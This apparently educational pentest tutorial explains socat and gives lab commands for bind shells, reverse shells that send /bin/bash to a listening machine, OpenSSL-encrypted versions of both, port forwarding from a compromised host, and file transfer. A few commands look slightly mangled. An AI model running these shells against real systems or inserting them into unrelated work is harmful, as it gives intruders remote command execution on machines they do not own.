Socat for Pentester
Socat is one of those kinds of tools that either you might not know at all, or if you know then you might know all the different kinds of stuff that you can do with it. While working with it, we felt that there are guides for socat but none of them strike the right balance between the introduction and variety. This article will serve as the introduction if you have not heard about socat and as an advance if you already know something about it without being jarring.
Table of Content
- What is Socat?
- Usage of Socat
- Netcat v/s Socat
- Bind Shell
- Encrypted Bind Shell
- Reverse Shell
- Encrypted Reverse Shell
- Port Forwarding
- File Transfer
What is Socat?
In a general sense, socat is a relay that can be used for data transfer in both directions between two data channels independently. These data channels can be in a form of a file, pipe, device (serial line, etc. or a pseudo-terminal), a socket (UNIX, IP4, IP6 – raw, UDP, TCP), an SSL socket, proxy CONNECT connection, a file descriptor (stdin, etc.), the GNU line editor (readline), a program, or a combination of two of these.
Usage of Socat
socat provides a wide range of tasks that it can be used for. Let’s take an example, Socat can be used as a TCP port forwarder, as an external socksifier, for attacking weak firewalls, as a shell interface to UNIX sockets or an IP6 relay, for redirecting TCP oriented programs to a serial line, or to logically connect serial lines on different computers, as well as to establish a secure environment for running client or server shell scripts with network connections.
Netcat V/s Socat
We all have been using Netcat for a long time ago. It has been the daily driver for many penetration testers since its initial development. It is praised as it is easy to use and it can write or read data over network connections using the TCP and UDP. Now, let’s talk about Socat. As we discussed earlier it is a relay that can be used bidirectionally. Some features are provided by Socat such as establishing Multiple connections, creating a secure channel, support of more protocols such as OpenSSL, SCTP, Socket, Tunnel, etc.
In a general sense, a bind shell opens up a port on the remote machine that is expecting and waiting for an incoming connection. Once the user connects to the listener, a shell is provided to the user to interact.
Here, we will be using the socat to create a listener on port 5555 on our Ubuntu machine. As soon as we execute the presented command, a listener will be created on the port and will be waiting for an incoming connection. Here we are running the socat command with the -d -d command that will print the fatal, errors, warnings, or notices. Then we have the Address Type as TCP4, followed by the Facility that we want to purpose such as LISTEN. Then we have the Port Number separated by the: and the type of shell that we want to provide to the guest.
socat -d -d TCP4-LISTEN:5555 EXEC:/bin/bash
Moving on to our other machine, i.e., Kali Linux to connect to our Ubuntu machine on which we have created a listener. We need to know the IP Address and the Port number on which the listener is running on. We have provided the Address Type, IP Address, and the Port and we will be able to connect to the bash shell as demonstrated below. The main issue with this type of session is the lack of authentication. Any user with a limited amount of information can connect to a shell and execute commands that can affect the enterprise. Apart from the basic lack of authentication, the communication that is being conducted over the Bind Shell is susceptible to sniffing attacks.
socat - TCP4:192.168.168.1.141:5555
Encrypted Bind Shell
In the previous section, we talked about the Bind Shell and its lack of security. Now, to make the communication between both the target user and the client user more secure, we can introduce the functionality of encrypting the shell. We will be using the OpenSSL for this activity. When encrypted it will not be possible for any malicious actor in the network to sniff the traffic between both users over a Bind shell. To encrypt using OpenSSL, first, we need to create a key and a certificate associated with it. Here in this demonstration, we are creating a key by the name “bind_shell. the key” and the certificate by the name “bind_shell.crt”. The format of the certificate is x509 and the validity of the certificate is for 362 days.
openssl req -newkey rsa:2048 -nodes -keyout bind_shell.key -x509 -days 362 -out bind_shell.crt
Creating a key and a certificate is not all that is required to encrypt your bind shell. Before moving forward, you are required to use the key and certificate to create a .pem file. This .pem file then can be used to create an encrypted bind shell using socat. We can pipe both the key and certificate using the cat command and make a bind_shell.pem file as demonstrated below. Then we are using the bind_shell.pem file to create a Listener as before but instead of TCP4, we are now using OPENSSL. We created the listener on port 9999.
cat bind_shell.key bind_shell.crt > bind_shell.pem socat -OPENSSL-LISTEN:9999,cert=bind_shell.pem,verify=0,fork EXEC:/bin/bash
Now that we have created the listener on port 9999. Let’s use the Kali Linux for connecting to the Bind Shell as we did earlier. We change the Address Type here as well to OPENSSL as shown in the image below. We see that we can connect to the target machine. The difference here is the fact that using OpenSSL we have encrypted the communication between the Kali Machine and the Ubuntu Machine. If there is a malicious actor tried to sniff the traffic between the two machines, they won’t be able to read the contents of the communication.
socat – OPENSSL:192.168.1.141:9999,verify=0
The term Reverse Shell is derived from the method of its generation. We discussed the bind shell and we saw that there was a listener are running on the Ubuntu Machine and Kali Machine is connecting to that particular listener. But a shell that is generated from the remote machine which in our case the Ubuntu Machine is termed as the remote machine and Kali Machine as the local machine. So, a session is generated from the Ubuntu Machine to Kali Machine. That means that the listener will be running on the Kali machine. It is the type of shell that is usually used for the target machine to communicate back to the attacking machine.
In the environments where we have a NAT or a Firewall, the reverse shell might be the only way to gain access to the machine. To communicate between the Kali Machine and the Ubuntu Machine using socat we will first need to start a listener on the Kali machine. It is similar to the command that we ran earlier with bind shell. The difference is the STDOUT added at the end of the command to create a listener for a Reverse Shell.
socat -d -d TCP4-LISTEN:9999 STDOUT
Now moving to the Ubuntu Machine to start a reverse connection to connect to our listener on the Kali machine. With the Address Type, IP Address, and the Port with the type of connection that you want to establish. We see that the demonstration has the reverse bash shell to the Kali Machine.
socat TCP4:192.168.1.2:9999 EXEC:/bin/bash
To see and inspect the type of connection that we have from the Ubuntu machine we see that the shell that we receive is a basic bash shell on the Kali Machine that originated from the Ubuntu Machine.
Encrypted Reverse Shell
Similar to the Bind Shell, the Reverse Shell also lack security such as the susceptibility Sniffing Attacks. We will be implementing similar techniques to encrypt the communications upon the Reverse Shell. To encrypt using OpenSSL, first, we need to create a key and a certificate associated with it. Here in this demonstration, we are creating a key by the name “ignite. the key” and the certificate by the name “ignite.crt”. The validity of the certificate is for 1000 days.
openssl req -newkey rsa:2048 -nodes -keyout ignite.key -x509 -days 1000 -subj '/CN=www.ignite.lab/O=Ignite Tech./C=IN' -out ignite.crt
From our previous assessment, we know that we need to convert the key and the certificate into a .pem file. We will again use the cat command to generate the .pem file.
cat ignite.key ignite.crt > ignite.pem
Now that we have the pem file the rest of the process is quite similar to the ones that we did with the encrypted bind shell and the reverse shell sections. We create a listener on the Kali Machine using the OPENSSL as the Address Type and the pem file as demonstrated below.
Over at the Ubuntu machine, we are assigned to create the reverse shell back to the listener that we created on the Kali machine. We will use the same Address Type i.e., OPENSSL. With the IP Address, Port, and the type of shell that the listener is expecting.
Let’s check the functionality of the shell. But while we are doing so, we will also capture the traffic between the Ubuntu Machine and Kali Machine with the help of Wireshark. We will then analyze the traffic to see if we were able to sniff the communication. We are reading the contents of the /etc/passwd file with the help of the tail command. This is an appropriate example as this is the type of data that if sniffed can result in pretty serious consequences.
After running a bunch of commands through the reverse shell, we investigate the traffic captured by the Wireshark to try to make sense out of the communication. But as it is clear from the image provided below that the traffic is not readable after being encrypted by the OpenSSL.
Moving on from the different types of the shell as the other Address Type that the socat supports are not so different in understanding and working. Another place where you can use socat is to perform Port Forwarding. You must be similar to the Metasploit Port Forward option that can be used when you have a session of a machine and there is another service that is only accessible to that compromised machine, you can use the Port Forward functionality to get that service forward to your local machine. To demonstrate the scenario, we have a session over our Ubuntu Machine. Upon running the netstat command we were able to identify that there is an HTTP service running that is privy to the Ubuntu Machine and not to our Kali machine. With the help of socat, we forwarded the HTTP service that was running on port 8080 to the Kali Machine’s local port 1234.
Now that we have forwarded the service, we can access it on our Kali Machine on port 1234. Since it is an HTTP service, we used the Web Browser to take a look at the service and found a webpage as shown in the image below.
Now, it’s time to discover another functionality of the socat. We can transfer files with the help of the connection that is established with the help of socat. For demonstration, we decided to create a text file with a small message as shown in the image below. Next, we run socat with the Address Type as TCP4 and create a listener with hosting the file with the help of the file keyword.
cat demo.txt socat TCP4-LISTEN:443, fork file:demo.txt
As we created the file to transfer on our Kali Machine, we will now move to the Ubuntu machine and attempt to transfer the file demo.txt here. We need to connect to the listener that is created on the Kali Machine and mention the file name that is hosted along with the create keyword as shown in the image below. We can see that this will transfer the file.
socat TCP4:192.168.1.2:443 file:demo.txt, create ls cat demo.txt
While writing this article, I intended to present a mixed bag of the introduction and advance of the Socat. It is one of the tools that in my opinion that most of the Penetration Testers have heard of but it seems that they refrain from using it as a daily driver because they are not comfortable leaving the Netcat. But this article might prove the push that is required to include Socat in your tool arsenal.